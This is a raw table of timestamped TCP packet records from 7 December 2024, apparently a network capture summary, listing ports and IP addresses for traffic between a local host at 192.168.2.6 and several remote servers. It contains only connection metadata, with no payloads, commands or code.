Dec 7, 2024 00:15:50.874805927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.875062943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.875618935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.875663996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.875732899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.876616955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.876663923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.876737118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.877604961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.877624989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.877655029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.877718925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.878643990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.878783941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.878833055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.879605055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.879734039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.879780054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.880564928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.880723000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.880770922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.881586075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.881635904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.881697893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.881742001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.885483027 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.885502100 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.885576010 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.885584116 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.885624886 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.895041943 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.895071030 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.895129919 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.895224094 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.899111032 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.899137974 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.899236917 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.899245024 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.899743080 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.903726101 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.903726101 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.903742075 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.903749943 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.913912058 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.913928986 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.913997889 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.914005041 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.914050102 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.914072990 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.961424112 CET	49849	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.961455107 CET	443	49849	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.961553097 CET	49849	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.962028980 CET	49849	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.962040901 CET	443	49849	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.018486977 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.018512964 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.018585920 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.018609047 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.018625021 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.018651962 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.022275925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.022352934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.022357941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.022485971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.022528887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.022564888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.023107052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.023155928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.023215055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.024076939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.024136066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.024175882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.025118113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.025168896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.025294065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.025626898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.026076078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.026175022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.026225090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.027060986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.027165890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.027211905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.028280973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.028295040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.028361082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.029047966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.029156923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.029203892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.029597998 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.029623985 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.029689074 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.029695988 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.029721975 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.029746056 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.030036926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.030164957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.031044006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.031109095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.031152964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.032016993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.032067060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.032160997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.033014059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.033062935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.033119917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.033626080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.034017086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.034185886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.034236908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.035034895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.035181046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.035228968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.036010027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.036137104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.036183119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.037045002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.037121058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.037168026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.038042068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.038175106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.038995028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.039077997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.039084911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.040007114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.040057898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.040136099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.040208101 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.040225983 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.040278912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.040281057 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.040292025 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.040317059 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.040324926 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.040993929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.041039944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.041125059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.041621923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.041960955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.042165041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.042207956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.042989969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.043122053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.043163061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.043971062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.044081926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.044133902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.044977903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.045082092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.045120001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.046077967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.046395063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.047043085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.047106028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.047164917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.047848940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.047930002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.048011065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.048041105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.048079967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.048962116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.049017906 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.049038887 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.049079895 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.049088955 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.049112082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.049119949 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.049139023 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.049278975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.049623013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.049932957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.050102949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.050144911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.050935984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.051032066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.051907063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.051968098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.052194118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.052921057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.052963018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.053021908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.053622961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.054022074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.054141045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.054183960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.054965973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.054982901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.055032015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.055882931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.055957079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.055998087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.056891918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.056947947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.057013988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.057634115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.057877064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.057926893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.057987928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.058029890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.058890104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.058988094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.059027910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.059813023 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.059830904 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.059895992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.059959888 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.059967041 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.060091019 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.060168982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.060168982 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.060225010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.060319901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.060867071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.060911894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.060990095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.061148882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.061861038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.061979055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.062037945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.063005924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.063016891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.063060045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.063091040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.063886881 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.063966036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.064040899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.064080954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.064847946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.064892054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.064954042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.065135956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.065870047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.065943956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.066080093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.066553116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.066836119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.066883087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.066962004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.067109108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.067831039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.067877054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.067936897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.067981958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.068747997 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.068763971 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.068823099 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.068830967 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.068872929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.068875074 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.068941116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.069070101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.069130898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.069339991 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:51.069366932 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:51.069828033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.069875002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.069956064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.069998026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.070811033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.070913076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.070936918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.070950985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.071783066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.071846008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.071882963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.071923018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.072010994 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.072798967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.072810888 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.072828054 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.072844982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.072884083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.072951078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.073404074 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.073410988 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.073777914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.073977947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.074017048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.077661991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.078816891 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.078836918 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.078916073 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.078923941 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.078965902 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.089009047 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.089025021 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.089088917 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.089096069 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.089632988 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.103189945 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.103256941 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.104497910 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.158251047 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.158269882 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.158319950 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.158428907 CET	49845	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.163701057 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.163772106 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.164990902 CET	49843	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.207158089 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.207586050 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.209858894 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.209867001 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.209961891 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.209971905 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.211329937 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.214659929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.214838982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.215042114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.215105057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.215164900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.216032982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.216075897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.216157913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.216764927 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.216785908 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.216830969 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.216839075 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.216861010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.216861963 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.216881990 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.217036963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.217077971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.217113972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.217624903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.217988014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.218162060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.218209982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.219033957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.219357967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.219405890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.219969034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.219988108 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.220052958 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.220057964 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.220087051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.220088959 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.220103025 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.220136881 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.220165014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.220998049 CET	80	49823	185.215.113.206	192.168.2.6
